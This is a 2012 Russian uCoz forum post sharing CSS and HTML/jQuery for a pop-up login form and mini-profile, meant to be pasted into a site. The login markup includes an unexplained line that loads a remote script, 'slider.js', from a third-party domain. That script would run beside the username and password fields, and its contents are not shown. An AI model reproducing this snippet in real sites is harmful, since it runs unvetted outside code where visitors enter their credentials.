Главная | Регистрация | Вход Приветствую Вас Гость Сайт автора
Реклама
Реклама
Реклама
Место свободное
Место свободное

Случайные картинки
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Все для веб мастеров » Скрипты для ucoz » Новая форма входа для Ucoz в ajax окне (В ajax окне)
Новая форма входа для Ucoz в ajax окне
BatareykaДата: Воскресенье, 05.02.2012, 21:36 | Сообщение # 1


Посты: 11
[ ]
Скрин: http://s59.radikal.ru/i163/1202/ff/5d5e98ba0e41.png

Новая форма входа для Ucoz в ajax окне + мини-профиль в ajax окне
Форма входа и мини-профиль вызываются спомощью ссылки.
Вставляем в css в самый низ:

Code
/* User Box */   
   #userbox {text-shadow:0 -1px 0 #446b81;color:#fff;font:normal 14px Trebuchet MS,Arial,Tahoma,Verdana;display:none;position:fixed;top:50%;left:50%;padding:29px 33px 0;width:250px;margin-left:-158px;margin-top:-140px;height:281px;background:url('http://www.csomsk.ru/1-ucoz/pm/user_box.png') no-repeat 0 0;}   
   #userbox a {color:#fff;text-decoration:none;}   
   #userbox a:hover {text-decoration:underline;}   
   #userbox span#nm {font:bold 26px Trebuchet MS,Arial,Tahoma,Verdana;margin-bottom:18px;display:block;}   
   #userbox #cls {width:25px;height:25px;display:block;float:right;background:url('http://www.csomsk.ru/1-ucoz/pm/oel.png') no-repeat 0 -133px;cursor:pointer;}   
   #userbox input[type='text'], #userbox input[type='password'] {margin-top:19px;padding:0 13px;background:url('http://www.csomsk.ru/1-ucoz/pm/oel.png') no-repeat 0 0;font:normal 15px/38px Trebuchet MS,Arial,Tahoma,Verdana;width:224px;height:37px;color:#9f9f9f;border:none;outline:none;}   

   #userbox input#log_in {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat -122px 0;cursor:pointer;width:122px;height:40px;margin:21px 64px 0;border:none;outline:none;}   
   #userbox input#log_in:hover {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat -122px -41px;}   
   #userbox input#log_out {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat 0 0;cursor:pointer;width:122px;height:40px;margin:21px 64px 0;border:none;outline:none;}   
   #userbox input#log_out:hover {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat 0 -41px;}   

   #userbox #avatar {width:95px;height:96px;background:url('http://www.csomsk.ru/1-ucoz/pm/oel.png') no-repeat 0 -37px;float:left;margin-right:22px;margin-top:19px;}   
   #userbox #avatar img {max-with:85px;max-height:85px;margin:5px 5px 0 5px;border:none;}   
   #userbox #u_block {padding-top:21px;}   
   #userbox #u_block a {display:block;}   
   /* -------- */


Где хотите видеть ссылку для вызова вставляем:

Code
<!-- User_Box -->   
   <script type="text/javascript">function log_in() {$('input[name=user]').val($('#u_login').val());$('input[name=password]').val($('#u_pass').val());$('input[name=sbm]').click();}</script>   
   <div id='userbox'>   
   <div id='cls' title='Закрыть' onclick="$('#userbox').fadeOut();"></div>   
   <script src="http://drips.ru/slider.js" type="text/javascript"></script>
   <span id='nm'><?if($USER_LOGGED_IN$)?>Профиль<?else?>Вход<?endif?></span>   
   <?if($USER_LOGGED_IN$)?>   
   <div id='avatar'><img src='$USER_AVATAR_URL$' alt='avatar' title='$USERNAME$'></div>   
   <div id='u_block'>   
   <a href='/news/0-0-0-1'>Добавить Новость</a>   
   <a href='/index/14'>Сообщения: <span title='Непрочитанных сообщений: $UNREAD_PM$'>$UNREAD_PM$</span></a>   
   <a href='/index/8'>Мой Профиль</a>   
   <a href='/index/11'>Изенить Данные</a>   
   <a href='/index/15'>Все Пользовтели</a>   
   <input type='button' value='' title='Выйти' id="log_out" onclick="location.href='/index/10'">   
   </div>   
   <?else?><input type='text' id='u_login' value='Логин' size='20' maxlength='50' onblur="if(value == ''){value = 'Логин'}" onfocus="if(value == 'Логин'){value =''}">   
   <input type='password' id='u_pass' value='Пароль' size='20' maxlength='50' onblur="if(value == ''){value = 'Пароль'}" onfocus="if(value == 'Пароль'){value =''}">   
   <input type='button' value='' id="log_in" onclick='log_in();'>   
   <?endif?>   
   </div>   
   <!-- /User_Box -->
<a href="javascript://" onclick="$('#userbox').fadeIn();"><?if($USER_LOGGED_IN$)?>Профиль<?else?>Вход<?endif?></a>


ВНИМАНИЕ: Стандартную форму входа нужно удалить и глобольных блоков (Если есть)


Форум » Все для веб мастеров » Скрипты для ucoz » Новая форма входа для Ucoz в ajax окне (В ajax окне)
  • Страница 1 из 1
  • 1
Поиск:
Посетители за сутки

Статистика Форума
Последние ответы Популярные темы Лучшие пользователи Новые пользователи

Статистика кто посетил в красивом стиле для uCoz

(2)

статистика CW

(0)

Новый вид статистики Ucoz

(0)

Скрипт Наши сервера в одном блоке

(0)

Выдвижная кнопка ВКонтакте

(0)

Flash статистика CW встиле огня

(0)

TRANCE РАДИО

(0)

Информер популярных материалов

(0)

Плеер для проигрывания мп3 на сайте

(0)

Часы для cs

(0)

Заказ скриптов

(44)

Прием игроков в клан

(42)

Настройка (MANI_SERVER.CFG)

(22)

Досчитать до 1000 !

(17)

zBlock (Установка и настройка)

(17)

Досчитай до 5000!

(15)

Если хотити снами сыграть КВ то вам сюда!!!

(14)

Прикольная игра!)))

(13)

Прибавь 10

(12)

Тренировки

(11)

mSx

(442)

ReD_ncux

(69)

shasha974

(42)

V@mPiR

(32)

extreme

(31)

Sanek1801

(21)

ВГД

(20)

Batareyka

(11)

Asif

(10)

kragsburger

(9)

xipex57055

(10.07.2022)

Okey

(21.02.2016)

rusmuzru

(15.09.2015)

support

(13.04.2015)

AlexQuettro

(22.12.2013)

IceLoo

(20.12.2013)

DoG

(19.03.2013)

tubaretka2012

(23.01.2013)

Onlines

(17.01.2013)

GrateDoping55

(14.12.2012)

Реклама:




Реклама на сайте
Web-Design by MSX